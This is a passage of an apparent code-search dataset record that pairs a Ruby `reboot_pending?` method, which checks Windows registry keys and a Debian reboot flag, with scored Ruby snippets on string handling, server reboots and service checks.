"def hackerSpeak(word)\n\tnew_word=''\n\tword.each_char do |c|\n\t\tif c.downcase=='a'\n\t\t\tnew_word=new_word+'4'\n\t\telsif c.downcase=='e'\n\t\t\tnew_word=new_word+'3'\n\t\telsif c.downcase=='i'\n\t\t\tnew_word=new_word+'1'\n\t\telsif c.downcase=='o'\n\t\t\tnew_word=new_word+'0'\n\t\telsif c.downcase=='s'\n\t\t\tnew_word=new_word+'5'\n\t\telse\n\t\t\tnew_word=new_word+ c\t\t\t\t\t\t\n\t\tend\t\n\tend\n\tnew_word\nend",
"def energetic_encoding(str, hsh)\n new_str = str.split(\"\").map do |char| \n if hsh.key?(char)\n hsh[char] \n elsif char != \" \"\n \"?\"\n else\n char\n end\n end\n\n new_str.join(\"\")\nend",
"def shout(str)\n return str.upcase\nend",
"def normalize(s)\n s.to_s.gsub(/[^[:alpha:]_-]/, \"-\").mb_chars.downcase.to_sym\n end",
"def shout str\n str.to_s.upcase\nend",
"def shout string\n string.upcase\nend",
"def reverse_string word\n\t\treturn word.reverse\nend",
"def energetic_encoding(str, hash)\n output = \"\"\n str.each_char do |char|\n if hash.has_key?(char)\n output += hash[char]\n elsif char != \" \"\n output += \"?\"\n else\n output += char\n end\n end\n output\nend",
"def snakify(string)\n string.split(/(?=[A-Z])/).map(&:downcase).join('_')\n end",
"def energetic_encoding(str, hash)\n energetic = \"\"\n str.each_char do |char|\n if hash.has_key?(char)\n energetic << hash[char]\n elsif char == \" \"\n energetic << \" \"\n else \n energetic << \"?\"\n end\n end\n energetic\nend",
"def spell_out string\n string.downcase.split(\"\").join(\"-\")\nend",
"def spell_out string\n string.downcase.split(\"\").join(\"-\")\nend",
"def shout(string)\n\treturn string.upcase\nend",
"def spell_out(str)\n str.downcase.split('').join('-')\nend",
"def convert (str)\r\n# REFERENCE : Using logic from this source https://stackoverflow.com/questions/13498688/pig-latin-method-translation\r\n alpha = ('a'..'z').to_a\r\n vowels = %w[a e i o u]\r\n consonants = alpha - vowels\r\n lstr = str.downcase\r\n if vowels.include?(lstr[0])\r\n str + 'way'\r\n elsif consonants.include?(lstr[0]) && consonants.include?(lstr[1]) && consonants.include?(lstr[2])\r\n str[3..-1] + str[0..2] + 'ay'\r\n elsif consonants.include?(lstr[0]) && consonants.include?(lstr[1])\r\n str[2..-1] + str[0..1] + 'ay'\r\n elsif consonants.include?(lstr[0])\r\n str[1..-1] + str[0] + 'ay'\r\n else\r\n str # return unchanged\r\n end\r\nend",
"def escape( s )\n s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) do\n '%'+$1.unpack('H2'*$1.size).join('%').upcase\n end.tr(' ', '+')\n end",
"def slugify(input, mode = T.unsafe(nil)); end",
"def may_inicial(string)\n puts \"#{string.upcase!}#{string[1..-1]}\"\nend",
"def remove_char(s)\n s.slice(1..-2)\nend",
"def encode_string s\n s.downcase.split(//).inject(\"\") do |code,char|\n code + encode_char(char)\n end\n end",
"def rotn(n, word)\n n.times do\n word.tr!('abcdefghijklmnopqrstuvwxyz',\n 'bcdefghijklmnopqrstuvwxyza')\n end\n word\nend",
"def reverse_string input\n input.reverse\nend",
"def toonify(accent,sentence)\n\n if accent == 'daffy'\n sentence.tr('s','th')\n elsif accent == 'elmer'\n sentence.tr('r','w')\n else\n return sentence\nend\nend",
"def reverse_words_refactor(string)\n jumbled_letters = string.split(\" \").each {|word| word.reverse!}.join(\" \")\nend",
"def spell_out(str)\n str.downcase.split(\"\").join(\"-\")\nend",
"def crunch(string)\n string.gsub(/(.)\\1+/, '\\1')\nend",
"def dasherize(word)\n word.gsub(/_/,'-')\nend",
"def spell_out str\n str.downcase.split('').join('-')\nend",
"def _n(str)\n str.gsub(/(-)(.*)/, '\\2')\n end",
"def shout (s)\n s.upcase\nend",
"def encode(string)\n @@counter += 1\n string.split(' ').map do |word|\n word.chars.map { |char| MORSE[char] }.join(@separator)\n end.join(' ')\n end",
"def spell_out(string)\n string.downcase.split(\"\").join(\"-\")\nend",
"def encode(word)\n word.gsub(/[aeiou]/, 'a' => 1, 'e' => 2, 'i' => 3, 'o' => 4,\n 'u' => 5)\nend",
"def asciiz_to_str(asciiz)\n zero_byte_idx = asciiz.index(\"\\x00\")\n if zero_byte_idx != nil\n return asciiz[0, zero_byte_idx]\n else\n return asciiz\n end\n end",
"def energetic_encoding(str, hash)\n str.chars.map! do |char| \n if char == \" \"\n char\n elsif hash[char].nil?\n \"?\"\n else\n hash[char]\n end\n end.join(\"\")\nend",
"def double_characters(string)\n doubled_string = ''\n string.chars.each do |char|\n doubled_string << char * 2\n end\n doubled_string\nend",
"def shout(string)\n\t\t\tstring.upcase\t\t\n\t\tend",
"def encrypt_this(text)\n text.split.map { |word|\n word[1], word[-1] = word[-1], word[1] if word.size > 2\n word[0] = word[0].ord.to_s\n word\n } .join(' ')\nend",
"def shorten(s, no_of_chars = 10)\n s ||= \"\"\n strip_tags(s).mb_chars[0..no_of_chars] + \"...\"\n end",
"def cleanup_new(string)\n string.tr(' -/:-@[-`{-~',' ')\nend"
] |
[
"0.6728253",
"0.6298912",
"0.6245189",
"0.6228383",
"0.62099504",
"0.6207818",
"0.6179081",
"0.61729705",
"0.61448526",
"0.61319184",
"0.6108028",
"0.6107043",
"0.6101838",
"0.60963017",
"0.60921645",
"0.60765827",
"0.60743266",
"0.60643315",
"0.60643315",
"0.60471946",
"0.60313475",
"0.60096496",
"0.6007029",
"0.6005103",
"0.599232",
"0.59888107",
"0.5977344",
"0.59741545",
"0.59698087",
"0.59627277",
"0.59476864",
"0.5945287",
"0.59351104",
"0.59320325",
"0.59281826",
"0.5922635",
"0.59187573",
"0.5906235",
"0.59036523",
"0.59013283",
"0.58986235",
"0.58959794",
"0.5893441",
"0.58910924",
"0.5890571",
"0.5887221",
"0.5881237",
"0.58784515",
"0.5877094",
"0.5876361",
"0.58750415",
"0.58744377",
"0.5873784",
"0.5862718",
"0.5862718",
"0.5859208",
"0.5857668",
"0.5847189",
"0.58459514",
"0.58450466",
"0.5838934",
"0.5834622",
"0.58335143",
"0.5832155",
"0.5828668",
"0.5827558",
"0.58267796",
"0.5822694",
"0.5818463",
"0.58147013",
"0.58146954",
"0.581155",
"0.581155",
"0.58099324",
"0.5808994",
"0.580182",
"0.58004475",
"0.5798824",
"0.57969415",
"0.57966954",
"0.57950914",
"0.57934844",
"0.57909256",
"0.5790793",
"0.5786015",
"0.5782187",
"0.578114",
"0.5778435",
"0.5777587",
"0.57765245",
"0.5774437",
"0.57736486",
"0.5773554",
"0.5771449",
"0.57703924",
"0.5769387",
"0.5769212",
"0.57677513",
"0.5767583",
"0.5765485",
"0.57597"
] |
0.0
|
-1
|
Returns true if the system needs a reboot or is expected to reboot Note that we will silently miss any other platformspecific reboot notices besides Windows+Ubuntu.
|
def reboot_pending?
# don't break when used as a mixin in contexts without #node (e.g. specs).
if respond_to?(:node, true) && node.run_context.reboot_requested?
true
elsif platform?("windows")
# PendingFileRenameOperations contains pairs (REG_MULTI_SZ) of filenames that cannot be updated
# due to a file being in use (usually a temporary file and a system file)
# \??\c:\temp\test.sys!\??\c:\winnt\system32\test.sys
# http://technet.microsoft.com/en-us/library/cc960241.aspx
registry_value_exists?("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager", { name: "PendingFileRenameOperations" }) ||
# RebootRequired key contains Update IDs with a value of 1 if they require a reboot.
# The existence of RebootRequired alone is sufficient on my Windows 8.1 workstation in Windows Update
registry_key_exists?('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired') ||
# Vista + Server 2008 and newer may have reboots pending from CBS
registry_key_exists?('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending')
elsif platform_family?("debian")
File.exist?("/var/run/reboot-required")
else
false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def reboot?\n !!@reboot\n end",
"def booted?\n IO.popen([\"systemctl\", \"is-system-running\"], &:read).chomp != \"offline\"\n end",
"def rebootable?\n return ((! self.phone_model.reboot_request_path.blank?) && (! self.ip_address.blank?))\n end",
"def rebootable?\n\t\treturn (\n\t\t\t(! self.ip_address.blank?) &&\n\t\t\t(! self.phone_model.reboot_request_path.blank?)\n\t\t)\n\tend",
"def reboot(use_hard_reboot = true)\n requires :identity\n if ready?\n if use_hard_reboot\n service.reset_server(identity)\n else\n service.reboot_server(identity)\n end\n else\n # Not able to reboot if not ready in the first place\n false\n end\n end",
"def reboot_required?(from, to)\n return true if from == 27\n\n false\n end",
"def on_reboot\n next_runlevel = `/sbin/runlevel`.split[1].strip\n yield if next_runlevel == '6'\n end",
"def wait_for_reboot_hack(host)\n # Sometimes beaker connects to the host before it has rebooted, so first sleep\n # to give the host time to get farther along in its shutdown\n wait_seconds = ENV['NFS_TEST_REBOOT_WAIT'] ? ENV['NFS_TEST_REBOOT_WAIT'] : 10\n sleep(wait_seconds)\n\n # If beaker has already connected successfully before the reboot, it will think\n # the necessity to reconnect is a failure. So it will close the connection and\n # raise an exception. If we catch that exception and retry, beaker will then\n # create a new connection.\n tries = ENV['NFS_TEST_RECONNECT_TRIES'] ? ENV['NFS_TEST_RECONNECT_TRIES'] : 10\n begin\n on(host, 'uptime')\n rescue Beaker::Host::CommandFailure => e\n if e.message.include?('connection failure') && (tries > 0)\n puts \"Retrying due to << #{e.message.strip} >>\"\n tries -= 1\n sleep 1\n retry\n else\n raise e\n end\n end\n end",
"def reboot_if_needed!(node)\n if node.run_context.reboot_requested?\n reboot!(node)\n end\n end",
"def reboot!(reboot_technique = :default_reboot)\n case reboot_technique\n when :default_reboot\n self.service.rebootDefault\n when :os_reboot\n self.service.rebootSoft\n when :power_cycle\n self.service.rebootHard\n else\n raise ArgumentError, \"Unrecognized reboot technique in SoftLayer::Server#reboot!}\"\n end\n end",
"def reboot\r\n raise Shells::NotRunning unless running?\r\n raise Shells::PfSenseCommon::RestartNow\r\n end",
"def is_recovery?()\n # Check in /etc/boot/config for `is_recovery`, it's assumed to be set, and\n # true, for recovery builds.\n Configuration[\"is_recovery\"] or firmware_wants_recovery?\n end",
"def systemd?\n false\n end",
"def pre_run_check\n # Check for pending reboots\n pending_reboot = false\n kernel = parameter(:os).value.downcase\n case kernel\n when 'windows'\n sysroot = ENV['SystemRoot']\n powershell = \"#{sysroot}\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\"\n # get the script path relative to the Puppet Type\n checker_script = File.join(\n __dir__,\n '..',\n '..',\n 'patching_as_code',\n 'pending_reboot.ps1',\n )\n pending_reboot = Puppet::Util::Execution.execute(\"#{powershell} -ExecutionPolicy Unrestricted -File #{checker_script}\", { failonfail: false }).exitstatus.to_i.zero?\n when 'linux'\n # get the script path relative to the Puppet Type\n checker_script = File.join(\n __dir__,\n '..',\n '..',\n 'patching_as_code',\n 'pending_reboot.sh',\n )\n pending_reboot = Puppet::Util::Execution.execute(\"/bin/sh #{checker_script}\", { failonfail: false }).exitstatus.to_i.zero?\n else\n raise Puppet::Error, \"Patching as Code - Unsupported Operating System type: #{kernel}\"\n end\n return unless pending_reboot\n\n Puppet.send('notice', 'Patching as Code - Pending OS reboot detected, node will reboot at start of patch window today')\n ## Reorganize dependencies for pre-patch, post-patch and pre-reboot exec resources:\n pre_patch_resources = []\n post_patch_resources = []\n pre_reboot_resources = []\n catalog.resources.each do |res|\n next unless res.type.to_s == 'exec'\n next unless res['tag'].is_a? Array\n next unless (res['tag'] & ['patching_as_code_pre_patching', 'patching_as_code_post_patching', 'patching_as_code_pre_reboot']).any?\n\n if res['tag'].include?('patching_as_code_pre_patching')\n pre_patch_resources << res\n elsif res['tag'].include?('patching_as_code_post_patching')\n post_patch_resources << res\n elsif res['tag'].include?('patching_as_code_pre_reboot')\n pre_reboot_resources << res\n end\n end\n ## pre-patch resources should gain Reboot[Patching as Code - Pending OS reboot] for require\n pre_patch_resources.each do |res|\n catalog.resource(res.to_s)['require'] = Array(catalog.resource(res.to_s)['require']) << 'Reboot[Patching as Code - Pending OS reboot]'\n end\n ## post-patch resources should lose existing before dependencies\n post_patch_resources.each do |res|\n catalog.resource(res.to_s)['before'] = []\n end\n ## pre-reboot resources should lose existing dependencies\n pre_reboot_resources.each do |res|\n catalog.resource(res.to_s)['require'] = []\n catalog.resource(res.to_s)['before'] = []\n end\n\n catalog.add_resource(Puppet::Type.type('reboot').new(\n title: 'Patching as Code - Pending OS reboot',\n apply: 'immediately',\n schedule: parameter(:patch_window).value,\n before: 'Anchor[patching_as_code::start]',\n require: pre_reboot_resources,\n ))\n\n catalog.add_resource(Puppet::Type.type('notify').new(\n title: 'Patching as Code - Performing Pending OS reboot before patching...',\n schedule: parameter(:patch_window).value,\n notify: 'Reboot[Patching as Code - Pending OS reboot]',\n before: 'Anchor[patching_as_code::start]',\n require: pre_reboot_resources,\n ))\n end",
"def reboot!\n self.reboot(\"HARD\")\n end",
"def reboot(_hard = false)\n return if @cloud_id.nil?\n stop\n start\n end",
"def disruptable?\n @disruptable ||=\n node.firstboot_any_phase? || ENV['CHEF_BOOT_SERVICE'] == 'true'\n end",
"def restart(wait=nil, expected_exitcodes = [0])\n @logger.debug('restart()')\n\n if self.is_passthrough? and self.passthrough[:type].eql?(:local)\n @logger.warn(sprintf('intercepted [restart] sent to a local passthrough, no op'))\n return nil\n end\n\n if @vagrant_reboot\n # leading vagrant handle this through 'reload --no-provision'\n self.reload\n else\n # trying to do it ourselves\n case os_type\n when :osx\n self.run('shutdown -r now', expected_exitcodes)\n when :rhel, :ubuntu\n if os_type.eql?(:rhel) and os_version(os_type).match(/7/)\n self.run('shutdown --halt --reboot now', expected_exitcodes << 256)\n else\n self.run('shutdown -rf now')\n end\n when :solaris\n self.run('shutdown -y -i5 -g0', expected_exitcodes)\n else\n raise InternalError.new(sprintf('unsupported OS[%s]', @ostype))\n end\n end\n\n @ssh, @ssh_info = nil # severing the SSH tunnel, getting ready in case this box is brought back up on a different port\n\n if wait\n inc = wait.to_i / 10\n 0.upto(9) do |e|\n @logger.debug(sprintf('waiting for reboot: round[%s], step[%s], total[%s]', e, inc, wait))\n return true if self.is_available_via_ssh?()\n sleep inc\n end\n\n return false\n end\n\n return true\n end",
"def systemctl?\n systemctl.present?\n end",
"def systemctl?\n systemctl.present?\n end",
"def bootstrapped?\n # @bootstrapped ||= !run('if [ -f /var/poolparty/bootstrapped ]; then echo \"YES\"; fi').match(/YES/).nil?\n @bootstrapped ||= !run('if [ -f /var/poolparty/bootstrapped ]; then echo \"YES\"; fi').chomp.empty? || false\n end",
"def reboot(hard = false)\n action(hard ? 'reboot-hard' : 'reboot')\n end",
"def must_restart?\n return @restart\n end",
"def reboot\n if power_state == :off\n logger.info(\"Server is powered-off. Need to power-on the server\")\n client.exec(\"power on\")\n else\n client.exec(\"power cycle\")\n end\n nil\n end",
"def reboot(type=\"SOFT\")\n data = JSON.generate(:reboot => {:type => type})\n response = @compute.connection.csreq(\"POST\",@svrmgmthost,\"#{@svrmgmtpath}/servers/#{URI.encode(self.id.to_s)}/action\",@svrmgmtport,@svrmgmtscheme,{'content-type' => 'application/json'},data)\n OpenStack::Exception.raise_exception(response) unless response.code.match(/^20.$/)\n true\n end",
"def isautoboot\n\n\t\tif !exists?\n\t\t\tcase resource[:ensure]\n\t\t\t\twhen :absent then return #do nothing\n\t\t\t\twhen :running then install(true)\n\t\t\t\telse install(false)\n\t\t\tend\n\t\tend\n\t\n\t\treturn dom.autostart.to_s\n\n\tend",
"def reboot(wait_time = 10, max_connection_tries = 9, uptime_retries = 18)\n require 'time'\n\n attempts = 0\n\n # Some systems don't support 'last -F reboot' but it has second granularity\n boot_time_cmd = 'last -F reboot || who -b'\n\n # Try to match all of the common formats for 'last' and 'who'\n current_year = Time.now.strftime(\"%Y\")\n boot_time_regex = Regexp.new(%{((?:#{(Date::ABBR_DAYNAMES + Date::ABBR_MONTHNAMES).compact.join('|')}|#{current_year}).+?(\\\\d+:\\\\d+)+?(?::(\\\\d+).+?#{current_year})?)})\n\n original_boot_time_str = nil\n original_boot_time_line = nil\n begin\n attempts += 1\n # Number of seconds to sleep before rebooting.\n reboot_sleep = 1\n\n original_boot_time_str = exec(Beaker::Command.new(boot_time_cmd), { :max_connection_tries => max_connection_tries, :silent => true }).stdout\n original_boot_time_line = original_boot_time_str.lines.grep(/boot/).first\n\n raise Beaker::Host::RebootWarning, \"Could not find system boot time using '#{boot_time_cmd}': '#{original_boot_time_str}'\" unless original_boot_time_line\n\n original_boot_time_matches = original_boot_time_line.scan(boot_time_regex).last\n\n raise Beaker::Host::RebootWarning, \"Found no valid times in '#{original_boot_time_line}'\" unless original_boot_time_matches\n\n original_boot_time = Time.parse(original_boot_time_matches.first)\n\n reboot_sleep = (61 - Time.now.strftime(\"%S\").to_i) unless original_boot_time_matches.last\n\n @logger.notify(\"Sleeping #{reboot_sleep} seconds before rebooting\")\n\n sleep(reboot_sleep)\n\n exec(Beaker::Command.new('/bin/systemctl reboot -i || reboot || /sbin/shutdown -r now'), :expect_connection_failure => true)\n rescue ArgumentError => e\n raise Beaker::Host::RebootFailure, \"Unable to parse time: #{e.message}\"\n rescue Beaker::Host::RebootWarning => e\n raise if attempts > uptime_retries\n\n @logger.warn(e.message)\n @logger.warn(\"Retrying #{uptime_retries - attempts} more times.\")\n retry\n rescue StandardError => e\n raise if attempts > uptime_retries\n\n @logger.warn(\"Unexpected Exception: #{e.message}\")\n @logger.warn(\"Retrying #{uptime_retries - attempts} more times.\")\n @logger.warn(e.backtrace[0, 3].join(\"\\n\"))\n @logger.debug(e.backtrace.join(\"\\n\"))\n retry\n end\n\n attempts = 0\n begin\n attempts += 1\n\n # give the host a little time to shutdown\n @logger.debug(\"Waiting #{wait_time} for host to shut down.\")\n sleep wait_time\n\n # Accept all exit codes because this may fail due to the parallel nature of systemd\n current_boot_time_str = exec(Beaker::Command.new(boot_time_cmd), { :max_connection_tries => max_connection_tries, :silent => true, :accept_all_exit_codes => true }).stdout\n current_boot_time_line = current_boot_time_str.lines.grep(/boot/).first\n\n raise Beaker::Host::RebootWarning, \"Could not find system boot time using '#{boot_time_cmd}': '#{current_boot_time_str}'\" unless current_boot_time_line\n\n current_boot_time_matches = current_boot_time_line.scan(boot_time_regex).last\n\n raise Beaker::Host::RebootWarning, \"Found no valid times in '#{current_boot_time_line}'\" unless current_boot_time_matches\n\n current_boot_time = Time.parse(current_boot_time_matches.first)\n\n @logger.debug(\"Original Boot Time: #{original_boot_time}\")\n @logger.debug(\"Current Boot Time: #{current_boot_time}\")\n\n # If this is *exactly* the same then there is really no good way to detect a reboot\n raise Beaker::Host::RebootFailure, \"Boot time did not reset. Reboot appears to have failed.\" if current_boot_time == original_boot_time\n rescue ArgumentError => e\n raise Beaker::Host::RebootFailure, \"Unable to parse time: #{e.message}\"\n rescue Beaker::Host::RebootFailure => e\n raise\n rescue Beaker::Host::RebootWarning => e\n raise if attempts > uptime_retries\n\n @logger.warn(e.message)\n @logger.warn(\"Retrying #{uptime_retries - attempts} more times.\")\n retry\n rescue StandardError => e\n raise if attempts > uptime_retries\n\n @logger.warn(\"Unexpected Exception: #{e.message}\")\n @logger.warn(\"Retrying #{uptime_retries - attempts} more times.\")\n @logger.warn(e.backtrace[0, 3].join(\"\\n\"))\n @logger.debug(e.backtrace.join(\"\\n\"))\n retry\n end\n end",
"def boot_order_precision_exists(handle:, **kwargs)\n\n server_dn = ImcCoreUtils.set_server_dn(handle, kwargs)\n mos = handle.query_children(in_dn: server_dn,\n class_id: \"LsbootDevPrecision\")\n if mos.size == 0\n return false, \"no Mos found\", nil\n end\n mo = mos[0]\n args = {}\n if _is_valid_arg(:reboot_on_update, kwargs)\n reboot_on_update = kwargs.fetch(:reboot_on_update)\n if reboot_on_update.is_a? TrueClass or reboot_on_update.is_a? FalseClass \n reboot_on_update = reboot_on_update ? \"yes\" : \"no\"\n end\n args[:reboot_on_update] = reboot_on_update\n end\n if _is_valid_arg(:configured_boot_mode, kwargs)\n args[:configured_boot_mode] = kwargs.fetch(:configured_boot_mode)\n end\n #args = {:reboot_on_update => reboot_on_update,\n # :configured_boot_mode => kwargs.fetch(:configured_boot_mode, 'Uefi')}\n\n if !mo.check_prop_match(**args)\n return false, \"parent MO property values do not match\", mo\n end\n\n if _is_valid_arg(:boot_devices, kwargs)\n in_boot_order = kwargs[:boot_devices].sort_by { |x| x[:order]}\n configured_boot_order = boot_precision_configured_get(\n handle: handle, server_id: kwargs.fetch(:server_id, 1))\n\n if in_boot_order.size != configured_boot_order.size\n return false, \"length mismatch\", mo\n end\n\n for i in (0..in_boot_order.size-1)\n if !(in_boot_order[i][:order] == configured_boot_order[i][:order] and\n in_boot_order[i][:'device-type'] == configured_boot_order[i][:'device-type'] and\n in_boot_order[i][:name] == configured_boot_order[i][:name])\n return false, \"dictionaries do not match\", mo\n end\n end\n end\n return true, nil, mo\nend",
"def reset_disabled?\n ENV['NO_RESET'] == '1'\nend",
"def reset_disabled?\n ENV['NO_RESET'] == '1'\nend",
"def booted?\n !!@booted\n end",
"def reboot_and_wait_for_host\n host.RebootHost_Task({:force => false}).wait_for_completion\n wait_for_host(300, resource[:reboot_timeout])\n end",
"def boot_interrupted?()\n Evdev.keys_held(KEYS)\n end",
"def cmd_reboot(*args)\n force = 0\n\n if args.length == 1 and args[0].strip == \"-h\"\n print(\n \"Usage: reboot [options]\\n\\n\" +\n \"Reboot the remote machine.\\n\" +\n @@reboot_opts.usage)\n return true\n end\n\n @@reboot_opts.parse(args) { |opt, idx, val|\n case opt\n when \"-f\"\n force = val.to_i\n end\n }\n print_line(\"Rebooting...\")\n\n client.sys.power.reboot(force, SHTDN_REASON_DEFAULT)\n end",
"def is_running\n !`/etc/init.d/minecraft status`.include?('not')\nend",
"def process_require_restart?(process_name, process_cmd, dep_process_cmds)\n #\n # Code to retrieve the start time of target process\n #\n target_process_pid = `pgrep -f #{process_cmd}`\n if target_process_pid != \"\"\n target_process_stime = `ps --no-header -o lstart #{target_process_pid}`\n else\n Chef::Log.info \"#{process_name} is not currently running which was the expected state\"\n return true\n end\n #\n # Code to compare the start times and return whether the target processes need to be restarted\n #\n ret = false\n restarted_processes = Array.new\n dep_process_cmds.each do |dep_process, dep_process_cmd|\n dep_process_pids = `pgrep -f #{dep_process_cmd}` \n if dep_process_pids != \"\"\n dep_process_pids_arr = dep_process_pids.split(\"\\n\")\n dep_process_pids_arr.each do |dep_process_pid| \n dep_process_stime = `ps --no-header -o lstart #{dep_process_pid}`\n if DateTime.parse(target_process_stime) < DateTime.parse(dep_process_stime)\n restarted_processes.push(dep_process)\n ret = true\n end\n end\n end\n end\n if ret\n Chef::Log.info \"#{process_name} service needs restart since #{restarted_processes.join(\",\")} process(s) got restarted\"\n end\n return ret\nend",
"def whyrun_mode?\n Chef::Config[:why_run]\n end",
"def recover_from_crash?\n begin\n if DeploymentCommandTracker.check_deployment_event_inprogress?() then\n log(:warn, \"Deployment tracking file found: #{DeploymentCommandTracker.deployment_dir_path()}. The agent likely restarted while running a customer-supplied script. Failing the lifecycle event.\")\n host_command_identifier = DeploymentCommandTracker.most_recent_host_command_identifier()\n\n log(:info, \"Calling PutHostCommandComplete: 'Failed' #{host_command_identifier}\")\n @deploy_control_client.put_host_command_complete(\n :command_status => \"Failed\",\n :diagnostics => {:format => \"JSON\", :payload => gather_diagnostics_from_failure_after_restart(\"Failing in-progress lifecycle event after an agent restart.\")},\n :host_command_identifier => host_command_identifier)\n\n DeploymentCommandTracker.clean_ongoing_deployment_dir()\n return true\n end\n # We want to catch-all exceptions so that the child process always can startup succesfully.\n rescue Exception => e\n log(:error, \"Exception thrown during restart recovery: #{e}\")\n return nil\n end\n end",
"def debian_enabled?\n system(\"/usr/sbin/invoke-rc.d\", \"--quiet\", \"--query\", @resource[:name], \"start\")\n if [104, 106].include?($CHILD_STATUS.exitstatus)\n return :true\n elsif [101, 105].include?($CHILD_STATUS.exitstatus)\n # 101 is action not allowed, which means we have to do the check manually.\n # 105 is unknown, which generally means the initscript does not support query\n # The debian policy states that the initscript should support methods of query\n # For those that do not, perform the checks manually\n # http://www.debian.org/doc/debian-policy/ch-opersys.html\n if get_start_link_count >= 4\n return :true\n else\n return :false\n end\n else\n return :false\n end\n end",
"def test_reboot_user_function\n #Call reboot terminal user function located in file\n reboot_terminal @@hostname\n\n #Wait till device completes rebooting\n sleep(15)\n end",
"def watchdog?\n ENV.include?(\"WATCHDOG_USEC\") &&\n (!ENV.include?(\"WATCHDOG_PID\") || ENV[\"WATCHDOG_PID\"].to_i == $$)\n end",
"def shuttingdown?\n ! (running? || shutdown?)\n end",
"def shuttingdown?\n ! (running? || shutdown?)\n end",
"def can_post_install?\n return false unless has_os?\n\n ![\"vmware_esxi\", \"hyperv\", \"suse11\", \"suse12\"].include?(os_image_type.downcase)\n end",
"def bootstrapped?\n # When we have a bootstrap waiter, we haven't bootstrapped because it is\n # set to nil upon bootstrap completion.\n return !@bootstrap.nil?\n end",
"def wait_for_boot\n @env[:ui].info I18n.t(\"vagrant_lxc.messages.waiting_for_start\")\n\n @env[:machine].config.ssh.max_tries.to_i.times do |i|\n if @env[:machine].communicate.ready?\n @env[:ui].info I18n.t(\"vagrant_lxc.messages.container_ready\")\n return true\n end\n\n # Return true so that the vm_failed_to_boot error doesn't\n # get shown\n return true if @env[:interrupted]\n\n # If the VM is not starting or running, something went wrong\n # and we need to show a useful error.\n state = @env[:machine].provider.state.id\n raise Vagrant::Errors::VMFailedToRun unless @states.include?(state)\n\n sleep 2 if !@env[\"vagrant.test\"]\n end\n\n @env[:ui].error I18n.t(\"vagrant.actions.vm.boot.failed\")\n false\n end",
"def reboot(force: false)\n create('reboot', force: force)\n end",
"def status_restart?()\n return true if (@status == TAC_PLUS_AUTHEN_STATUS_RESTART)\n return false\n end",
"def reboot\n node.update!(alive: false)\n run(\"reboot\")\n end",
"def launchctl?\n launchctl.present?\n end",
"def launchctl?\n launchctl.present?\n end",
"def raw_reboot_guest(force: false)\n with_provider_object do |instance|\n instance.actions.reboot(:force => force)\n sleep 5 # Sleep for 5 seconds to allow for reboot sequence to start.\n instance.wait_for! do\n sdk_update_status(instance)\n instance.started?\n end\n end\n rescue => e\n $ibm_cloud_log.error(e.to_s)\n $ibm_cloud_log.log_backtrace(e)\n raise\n end",
"def raw_reboot_guest(force: false)\n with_provider_object do |instance|\n instance.actions.reboot(:force => force)\n sleep 5 # Sleep for 5 seconds to allow for reboot sequence to start.\n instance.wait_for! do\n sdk_update_status(instance)\n instance.started?\n end\n end\n rescue => e\n $ibm_cloud_log.error(e.to_s)\n $ibm_cloud_log.log_backtrace(e)\n raise\n end",
"def restart_pending?\n @restart ||= false\n end",
"def posix?\n !windows?\n end",
"def soft_reboot(host_ip)\n run('reboot', host_ip)\n end",
"def hard_reboot(server)\n @logger.info(\"Hard rebooting server `#{server.id}'...\")\n @openstack.with_openstack { server.reboot(type = 'HARD') }\n @openstack.wait_resource(server, :active, :state)\n end",
"def systemd?\n `ps -o comm= 1`.chomp == 'systemd'\n end",
"def systemd?\n `ps -o comm= 1`.chomp == 'systemd'\n end",
"def first_run?\n not File.exists? '/boot/config/.boxcar'\n end",
"def powered_off?\n cmd = \"VBoxManage showvminfo \\\"#{@vbox_name}\\\" | grep \\\"State:\\\"\"\n print cmd if @verbose\n out = `#{cmd}`\n print out if @verbose\n if out.include?('powered off') || out.include?('aborted')\n return true\n end\n end",
"def rhel?\n platform_family?('rhel')\n end",
"def rhel?\n platform_family?('rhel')\n end",
"def cmd_reboot(*args)\n if args.length > 0\n cmd_reboot_help\n return\n end\n client.reboot\n end",
"def outdated_last_reboot\n BOOT_TIME\n end",
"def soft_reboot(server)\n @logger.info(\"Soft rebooting server `#{server.id}'...\")\n @openstack.with_openstack { server.reboot }\n @openstack.wait_resource(server, :active, :state)\n end",
"def haveBootstrapped?\n self.class.loadChefLib\n MU.log \"Chef config\", MU::DEBUG, details: ::Chef::Config.inspect\n nodelist = ::Chef::Node.list()\n nodelist.has_key?(@server.mu_name)\n end",
"def sysop?\n (status =~ /sysop/) != nil\n end",
"def is_sunxi_hardware()\n fh = File.open(\"/proc/cpuinfo\")\n return nil if not fh\n fh.each_line {|l|\n if l =~ /^Hardware/ and l =~ /(Allwinner)|(sun\\di)/ then\n return true\n end\n }\n return nil\nend",
"def ensure_prerequisites\n return false unless command_found('netsh')\n return false unless command_found('net')\n return false unless command_found('reg')\n\n unless wired_autoconfig_service_running?\n info('starting \\'Wired AutoConfig\\' service')\n if admin_mode?\n `net start dot3svc`\n else\n require 'win32ole'\n shell = WIN32OLE.new('Shell.Application')\n shell.ShellExecute('net', 'start dot3svc', nil, 'runas', 1)\n end\n service_has_started = Landrush::Util::Retry.retry(tries: 5, sleep: 1) do\n wired_autoconfig_service_running?\n end\n unless service_has_started\n info('Unable to start \\'Wired AutoConfig\\' service. Unable to configure DNS on host. Try manual configuration.')\n return false\n end\n info('\\'Wired AutoConfig\\' service has started.')\n end\n true\n end",
"def linux?\n unix? and not mac?\n end",
"def pending_configuration_changes?\n return true if context.restart_required?\n return false if self.context_only\n (context.exec('_get-restart-required', [], :terse => true, :echo => false) =~ /^true$/)\n end",
"def linux?\n unix? and not mac?\n end",
"def linux?\n !darwin?\n end",
"def shutdown?\n @shutdown\n end",
"def shutdown?\n @shutdown\n end",
"def shutdown?\n @pm.shutdown?\n end",
"def check_zone_is_installed()\n if options['host-os-name'].to_s.match(/SunOS/)\n if options['host-os-release'].split(/\\./)[0].to_i > 10\n exists = true\n else\n exists = false\n end\n else\n exists = false\n end\n return exists\nend",
"def system?\n not @system.nil?\n end",
